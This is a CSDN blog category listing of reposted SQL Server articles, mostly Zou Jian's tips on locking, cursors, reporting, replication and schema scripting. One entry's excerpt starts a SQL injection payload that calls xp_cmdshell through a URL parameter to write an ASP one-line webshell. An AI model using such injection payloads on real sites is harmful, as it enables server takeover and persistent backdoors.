SQL Server
文章平均质量分 94
flyskylf
这个作者很懒,什么都没留下…
展开
-
转:邹建--UPDATE 时, 如何避免数据定位处理被阻塞
转: http://blog.csdn.net/zjcxc/archive/2006/09/17/1232660.aspx问题描述:数据库PUBS中的authors表,想锁定CITY为aaa的记录,为什么执行下面的命令后,CITY为bbb的记录也被锁定了,无法进行UPDATE.BEGIN TRANSACTION SELECT * FROM authors转载 2007-12-25 13:09:00 · 396 阅读 · 0 评论 -
转:邹建--SELECT 赋值与ORDER BY冲突的问题
转: http://blog.csdn.net/zjcxc/archive/2006/09/17/1233068.aspx问题描述:使用 SELECT 语句,轮询表中的数据,并且处理变量数据时,如果有ORDER BY语句,则得不到想要的结果,但去掉ORDER BY,结果正常。具体的问题表现参考下面的问题重现代码 问题重现代码-- 测试数据DECLAR转载 2007-12-25 13:07:00 · 442 阅读 · 0 评论 -
转:邹建--复制表结构的通用存储过程
转:http://blog.csdn.net/zjcxc/archive/2005/08/20/459401.aspx复制表结构的通用存储过程 -- Transfer对象的重要属性 -- 1. 属性 属性名 类型 描述--------------------------------- -------转载 2007-12-25 14:45:00 · 549 阅读 · 0 评论 -
转:邹建--数据库系统崩溃后的一般处理步骤
转: http://blog.csdn.net/zjcxc/archive/2006/07/01/862795.aspx情况描述:SQL Server 2000崩溃,重新安装数据库。有以下准备:1, 三个系统库(master,msdb,model)的完全备份:2 两个用户数据库(user01,user02)的备份(周日的完全备份+除周日外每天的差异备份):三个系统数据转载 2007-12-25 13:44:00 · 567 阅读 · 0 评论 -
转:导出表结构脚本
转:http://blog.csdn.net/vivianfdlpw/archive/2005/10/17/506598.aspx /**//* --导出表结构脚本 --用法: --exec sp_ExportTables tb --vivianfdlpw 2005.10 引用请保留此信息 */IF EXISTS(SELECT 1 FROM SYSO转载 2007-12-26 09:59:00 · 672 阅读 · 0 评论 -
转:邹建--根据当月数据库自动生成下个月数据库--2
转: http://blog.csdn.net/zjcxc/archive/2005/03/16/320778.aspx--方法2. 脚本复制use mastergoif exists (select * from dbo.sysobjects where id = object_id(N[dbo].[sp_ProcCopyDb]) and OBJECTPROPERTY(id, NI转载 2007-12-25 22:18:00 · 481 阅读 · 0 评论 -
转:邹建--根据当月数据库自动生成下个月数据库--1
转:http://blog.csdn.net/zjcxc/archive/2005/03.aspx/*--原帖地址:http://community.csdn.net/Expert/topic/3818/3818559.xml?temp=.9593317--*//*--处理要求在sql数据库里有一个名为Pos200502的Database,每个月会有一个类似于这样名称(Pos20050转载 2007-12-25 22:17:00 · 567 阅读 · 0 评论 -
转:邹建--通过作业,定时同步两个数据库
转:http://blog.csdn.net/zjcxc/archive/2003/12/29/20083.aspx--定时同步服务器上的数据--例子:--测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test--服务器上的表(查询分析器连接到服务器上创建)create table [user](id int primary key,num转载 2007-12-25 22:12:00 · 541 阅读 · 0 评论 -
转:邹建--在临时表的指定字段前面插入字段
转: http://blog.csdn.net/zjcxc/archive/2005/05/30/384528.aspx问题描述: 使用下面的代码创建一个临时表,怎么样才能在‘长度’字段之前插入一个字段?create table #temp(CODE varchar(50),长度 varchar(50),颜色 varchar(50), 合计 varchar(50))/*- 一般来说,转载 2007-12-25 14:04:00 · 581 阅读 · 0 评论 -
转:邹建--交叉报表处理实例
转: http://writeblog.csdn.net/PostEdit.aspx两种比较特殊的交叉数据报表处理 --示例数据:CREATE TABLE tb(ID varchar(10),NGNO char(1),QTY int)INSERT tb SELECT 200505,A,10UNION ALL SELECT 200505,B,20UNION ALL SELEC转载 2007-12-25 14:00:00 · 606 阅读 · 0 评论 -
转:邹建-- 使用事务与锁,实现一个用户取过的数据不被其他用户取到
转: http://blog.csdn.net/zjcxc/archive/2006/08/28/1133843.aspx问题描述:用ADO访问数据库,从一个表中取一定的记录(比如20行),取出后在程序中使用,使用完后删除掉记录(不用更新或删除记录)。在多用户操作下(每个用户采用相同的操作),怎么保证一个用户已选取的记录不被其他用户选取? 问题解决:处理这类转载 2007-12-25 13:17:00 · 483 阅读 · 0 评论 -
转:邹建--SQL 2005溢用之:合并列值
转: http://blog.csdn.net/zjcxc/archive/2006/06/09/784287.aspx问题描述:无论是在sql 2000, 还是在 sql 2005 中,都没有提供字符串的聚合函数, 所以, 当我们在处理下列要求时,会比较麻烦: 有表tb, 如下:id value----- ------1 aa1 bb2转载 2007-12-25 13:55:00 · 555 阅读 · 0 评论 -
转:邹建--根据当月数据库自动生成下个月数据库--3
转:http://blog.csdn.net/zjcxc/archive/2005/03/16/320782.aspx--创建一个每月最后一个工作日执行的作业,调用上述存储过程实现自动创建数据库use mastergo--设置 SQL Agent 服务为自动启动exec msdb..sp_set_sqlagent_properties @auto_start=1go--创建作业e转载 2007-12-25 22:20:00 · 717 阅读 · 0 评论 -
转:SQL Server 2000端口连接不上
转:http://www.efang.com.cn/help/viewthread.php?tid=55 SQL Server连接中的三个最常见错误: 一."SQL Server 不存在或访问被拒绝" 这个是最复杂的,错误发生的原因比较多,需要检查的方面也比较多. 一般说来,有以下几种可能性: 1,SQL转载 2008-01-18 10:33:00 · 1435 阅读 · 0 评论 -
转:Scripting Database Objects
转:http://www.dbazine.com/sql/sql-articles/larsen4Scripting Database Objects by Gregory A. LarsenIn the normal development lifecycle, developers design applications one pie原创 2008-01-08 13:14:00 · 689 阅读 · 0 评论 -
转:邹建--乘车线路查询
转:http://blog.csdn.net/zjcxc/archive/2008/01/02/2009421.aspx背景有如下表示乘车线路和站点的数据,要求查询出指定站点之间的所有乘车线路:USE tempdbGO -- 模拟数据SET NOCOUNT ONIF OBJECT_ID(Ntempdb..#tb) IS NOT NULL D转载 2008-01-04 11:49:00 · 897 阅读 · 1 评论 -
转:SQLSERVER2000下生成数据库对象脚本(不包括数据信息)
转: http://blog.csdn.net/zlp321002/archive/2006/12/28/1465180.aspx数据库中的表对象脚本可以用以下存储过程来备份.它可以备份数据库中任何对象脚本(不包括数据信息)注意: 以下存储过程在sql server 2000 sp3以上版本测试通过.--生成整个数据库脚本.Create PROC P_GetJenerate转载 2007-12-25 22:35:00 · 572 阅读 · 0 评论 -
转:邹建--SQL 2005溢用之:分拆列值
转: http://blog.csdn.net/zjcxc/archive/2006/06/09/784276.aspx问题描述:有表tb, 如下:id values----------- -----------1 aa,bb2 aaa,bbb,ccc 欲按,分拆values列, 分拆后结果如下:id转载 2007-12-25 13:57:00 · 529 阅读 · 0 评论 -
转:邹建--避免在 SQL Server 中盲目地追求一句处理
转:http://blog.csdn.net/zjcxc/archive/2006/06/10/787074.aspx 问题描述 业务需求如下: 有表A和表B,这两个表结构一致,为不同的业务服务,现在要写一个存储过程,存储过程接受一个参数,当参数为0时,查询表A,参数为1时,查询表B。 A、一般的处理方法IF @Flag = 0转载 2007-12-25 13:51:00 · 457 阅读 · 0 评论 -
转:邹建--如何迁移数据库到另一个分区
转: http://blog.csdn.net/zjcxc/archive/2006/07/09/897024.aspx问题描述:一台服务器,联了好几个阵列,其实可以看作不同的逻辑驱动器,就假设为c盘,d盘,e盘sql server 2000 程序装在了c盘,数据装在了d盘现在阵列d需要撤走,我需要把原来d盘的数据库文件挪到e盘上,数据库有100多个,一个一个手动备份恢复时间不转载 2007-12-25 13:41:00 · 530 阅读 · 0 评论 -
转:邹建--比较两个数据库的表结构差异2
转:http://blog.csdn.net/zjcxc/archive/2004/01/04/20088.aspx转:http://topic.csdn.net/t/20031113/17/2457717.html if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[p_compares转载 2007-12-14 13:29:00 · 761 阅读 · 0 评论 -
转:对Sql Server 2000 系统表的常用操作
转: http://www.cnblogs.com/bengo420/archive/2007/07/13/817199.html对Sql Server 2000 系统表的常用操作 --得到数据库中所有用户表Select [name] from sysObjects Where xtype=Uand [name]--得到数据库中所有用户视图Select [name] From转载 2007-12-12 11:26:00 · 495 阅读 · 0 评论 -
转:[MSSQL] - SQL Server 2000 系统表详细说明
转:http://blog.csdn.net/ztf007/archive/2007/10/20/1834168.aspxSQL Server 2000 系统表详细说明 sysaltfiles 主数据库 保存数据库的文件 syscharsets 主数据库字符集与排序顺序 sysconfigures 主数据库 配置选项 syscurconfigs 主数据库当前配置选项转载 2007-12-12 11:13:00 · 1129 阅读 · 0 评论 -
转:邹建--比较两个数据库的表结构差异
转:http://blog.csdn.net/zjcxc/archive/2004/01/04/20088.aspx转:http://topic.csdn.net/t/20031113/17/2457717.html /**//*--比较两个数据库的表结构差异 --邹建 2003.9(引用请保留此信息)--*//**//*--调用示例 exec p_comparestructur转载 2007-12-08 21:42:00 · 664 阅读 · 0 评论 -
转:邹建--数据迁移
转:http://blog.csdn.net/zjcxc/archive/2003/12/29/20081.aspxif exists (select * from dbo.sysobjects where id = object_id(N[dbo].[p_copydb]) and OBJECTPROPERTY(id, NIsProcedure) = 1)drop procedur转载 2007-12-08 21:33:00 · 505 阅读 · 0 评论 -
SQLServer和Oracle的常用函数对比
--语句有所不同,下为函数的区别SQLServer和Oracle的常用函数对比 1.绝对值 S:select abs(-1) value O:select abs(-1) value from dual 2.取整(大) S:select ceiling(-1.001) value O:select ceil(-1.001) value from dual 3.取整(小)原创 2007-10-27 16:42:00 · 538 阅读 · 0 评论 -
转:最详细的SQL注入相关的命令整理
转:http://blog.csdn.net/tolys/archive/2007/09/27/1802569.aspx最详细的SQL注入相关的命令整理 QUOTE:1、 用^转义字符来写ASP(一句话木马)文件的方法:? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell e转载 2007-10-04 15:09:00 · 879 阅读 · 0 评论 -
使用identity提高insert效率
总结:http://topic.csdn.net/u/20071024/20/ed09a43f-2f94-4bf6-b9a0-5b8899539d4d.html楼主:存在这样一张表:create table t (int a, int b) 我现在要连续插入60036条记录,我写了一个很简单的脚本如下: declare @i int set @i = 500 while @i beg原创 2007-10-27 16:23:00 · 912 阅读 · 0 评论 -
转:sql server系统表详细说明
转:http://blog.csdn.net/jhstudio/archive/2007/09/25/1800497.aspxsysaltfiles 主数据库 保存数据库的文件 syscharsets 主数据库字符集与排序顺序sysconfigures 主数据库 配置选项 syscurconfigs 主数据库当前配置选项 sysdatabases 主数据库服务器中的数据库转载 2007-10-02 13:25:00 · 712 阅读 · 0 评论 -
MSDE
相关链接:http://topic.csdn.net/t/20050417/23/3944441.htmlhttp://topic.csdn.net/t/20040427/09/3011736.htmlhttp://topic.csdn.net/t/20041222/17/3667891.htmlhttp://download.microsoft.com/download/4/5/1/45原创 2007-10-23 15:42:00 · 724 阅读 · 0 评论 -
转:自动记录数据库存储过程的更新和改变,并产生日志
转:http://www.cnblogs.com/Carlwave/archive/2007/11/19/964216.html自动记录数据库存储过程的更新和改变,并产生日志 一、 简介使用环境:SQL Server 在项目开发过程中,项目管理者通常都很希望对项目的开发进展有一个日志的记录。代码的记录和管理可以通过TFS或者VSS等工具去管理。但是数据库转载 2007-12-14 14:52:00 · 1209 阅读 · 0 评论 -
转:导出SQL Server对象脚本
转:http://topic.csdn.net/t/20050128/19/3761627.html sp_helptext 要取得脚本的触发器名 --或者: select text from syscomments where id=object_id(N要取得脚本的触发器名) --或者用sqldmo对象转载 2007-12-14 16:54:00 · 741 阅读 · 0 评论 -
转:邹建老师--SQL Server数据导出
转:http://topic.csdn.net/t/20050414/22/3937592.html if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[p_exporttb]) and OBJECTPROPERTY(id, NIsProcedu转载 2007-12-14 15:26:00 · 780 阅读 · 0 评论 -
转:邹建-- TOP 1比不加TOP慢的疑惑
转:http://blog.csdn.net/zjcxc/archive/2006/07/10/898861.aspx问题描述:有一个查询如下,去掉TOP 1的时候,很快就出来结果了,但加上TOP 1的时候,一般要2~3秒才出数据,何解?SELECT TOP 1 A.INVNO FROM A, BWHERE A.Item = B.ItemNumber转载 2007-12-25 13:37:00 · 525 阅读 · 0 评论 -
转:邹建--如何实现横向聚合
转: http://blog.csdn.net/zjcxc/archive/2006/07/10/898901.aspx问题描述:有表tb,数据如下A1 A2 A3 A4 A5 1 2 5 3 42 2 3 4 50 3 4 2 5 如何输出A1 A2 A3 A4 A5 最大 最小 5以上个数1 2 5 3 4 5转载 2007-12-25 13:32:00 · 475 阅读 · 0 评论 -
转:邹建--SQL各种写法的效率问题
转:http://blog.csdn.net/zjcxc/archive/2006/07/15/926622.aspx(1)一次插入多条数据时:CREATE TABLE tb(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))INSERT tb SELECT 1,DDD,1UNION ALL SELECT 1,5100转载 2007-12-25 13:28:00 · 572 阅读 · 0 评论 -
转:邹建--实现删除主表数据时, 判断与之关联的外键表是否有数据引用, 有标志, 无则删除
转:http://blog.csdn.net/zjcxc/archive/2006/09/18/1236639.aspx问题描述:某个基础信息表,与系统中30多个表存在外键关系,当删除基础数据时,需要判断是否已经被用过,如果用过则更改标志位,如果没有用过则直接删除,如何能很好实现这个处理?最好能够自动适应表的变化 问题解决(SQL Server 2005)-转载 2007-12-25 12:57:00 · 661 阅读 · 0 评论 -
转:邹建--使用TableDiff实用工具解决事务复制中的问题
转:http://blog.csdn.net/zjcxc/archive/2006/12/27/1464953.aspx事务复制是数据同步中常用的一种手段,复制过程难免会遇到不少问题,就笔者遇到的问题而言,一般有两大类:一类是通过重新启动Distributor Agent即可解决的问题,另一类是因为Subscriber修改了数据,导致发布的数据有冲突,这类问题一般需要手工去修复。Tabl转载 2007-12-24 22:08:00 · 530 阅读 · 0 评论 -
转:邹建--选择合适的游标类型
转:http://blog.csdn.net/zjcxc/archive/2007/05/12/1606109.aspx背景:定义游标的时候, 如果不指定STATIC 关键字的时候, 则默认定义的游标是动态(DYNAMIC) 的动态(DYNAMIC) 游标会反映在滚动游标时对结果集内的各行所做的所有数据更改。行的数据值、顺序和成员身份在每次提取时都会更改。动态游标不支持ABS转载 2007-12-24 21:12:00 · 589 阅读 · 0 评论 -
转:邹建--对于局部变量,text、ntext 和 image 数据类型无效
转:http://topic.csdn.net/t/20040627/22/3126726.html问题 取值问题!! 以及用Text在使用Select 查询 和INSERT Update解决之道! 比喻发通过declare @content Text 去Select @content=content(Text类型)最值呢???寻求Text类型字转载 2007-12-14 22:43:00 · 9660 阅读 · 0 评论